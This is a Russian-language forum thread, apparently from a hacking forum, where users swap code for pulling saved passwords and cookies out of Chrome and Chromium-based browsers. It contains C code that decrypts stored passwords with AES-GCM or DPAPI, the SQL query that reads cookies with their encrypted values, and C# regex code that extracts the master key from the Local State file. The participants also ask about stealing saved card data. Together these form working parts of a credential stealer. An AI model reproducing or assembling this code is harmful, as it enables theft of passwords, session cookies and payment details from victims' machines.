Пожалуйста, обратите внимание, что пользователь заблокирован
Выложили на гит: https://github.com/XShar/Fuck_Chrome_C
Не сочтите за рекламу
Не сочтите за рекламу
Ты же сам кидал скрин с brave browser, где все ок? Возможно, как раз этот кастомный sqlite handler боком вылазит..Странно. Пример с гита работает с хромом, но с его аналогами ( chromium-based ) - криво дешифрует пароль. У меня одного так?
Я про пример, который дал Jeffs. Нативный.Ты же сам кидал скрин с brave browser, где все ок? Возможно, как раз этот кастомный sqlite handler боком вылазит..
Надо будет протестить на других браузерах. Мб ключ криво парситсяСтранно. Пример с гита работает с хромом, но с его аналогами ( chromium-based ) - криво дешифрует пароль. У меня одного так?
0x1, 0x0, 0x0, 0x0
int decrypt_chrome_cipher(char* cipher_password, int len_cipher_password, char** plaintext_password, char* masterkey) {
if (cipher_password[0] == 'v' && cipher_password[1] == '1')
{
cipher_password = &(cipher_password[3]);
len_cipher_password -= 3;
int len_iv = 96 / 8;
char *iv = (char*)malloc(len_iv + 1);
memcpy(iv, cipher_password, len_iv);
iv[len_iv] = '\0';
cipher_password = &(cipher_password[len_iv]);
len_cipher_password -= len_iv;
if (aead_decrypt(cipher_password, len_cipher_password, masterkey, iv, len_iv, plaintext_password) == -1)
{
return -1;
}
}
else
{
if (dpapi_decrypt(cipher_password, len_cipher_password, plaintext_password) == -1)
{
return -1;
}
}
return 1;
}
BYTE* authTag = (BYTE*) (cipher_password + len_cipher_password);
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = (PUCHAR)iv;
authInfo.cbNonce = len_iv;
authInfo.pbTag = authTag;
authInfo.cbTag = 16;
status = BCryptDecrypt(
KeyHandle,
(PUCHAR)cipher_password,
len_cipher_password,
&authInfo,
NULL,
0,
NULL,
0,
&plainTextWritten,
0
);
В проекте, что я скинул выше стоит проверка по префиксу. Если префикс v10 (а есть ещё v11) - расшифровываем AES-GCM, иначе - DPAPIПеред тем как декрптить пароль, прочекайте первые на сигнатурку
Так же.encrypted_value
Тут есть всё необходимое, посмотри. ( запросы можешь посмотреть там же )как куки получить из Хрома?
Только номер картыВ Chrome v80+ карты тоже AES-GCM шифруются?
host_key, is_httponly, path, is_secure, expires_utc, name, лежат в открытом виде, encrypted_value нужно декодить, ситуация такая-же, как и с пассамикак куки получить из Хрома?
sql запрос там такой
SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies
Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключМб ключ криво парсится
Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\""));
static string xmlRegex(string tag1, string tag2)
{
return $@"(?<={tag1})(.*)(?={tag2})";
}
Поздравляю, ты изобретаешь парсер JSON формата)Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключ
Мой пример регулярки (можно чуть упростить):
C#:Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\"")); static string xmlRegex(string tag1, string tag2) { return $@"(?<={tag1})(.*)(?={tag2})"; }
Я юзаю tiny-json парсер, это так, для примера. (плохого примера)Ключ лучше парсить регуляркой, то есть читать содержимое файла Local State, и в нём регуляркой искать ключ
Мой пример регулярки (можно чуть упростить):
C#:Regex keyReg = new Regex(xmlRegex("{\"encrypted_key\":\"", "\"},\"password_manager\"")); static string xmlRegex(string tag1, string tag2) { return $@"(?<={tag1})(.*)(?={tag2})"; }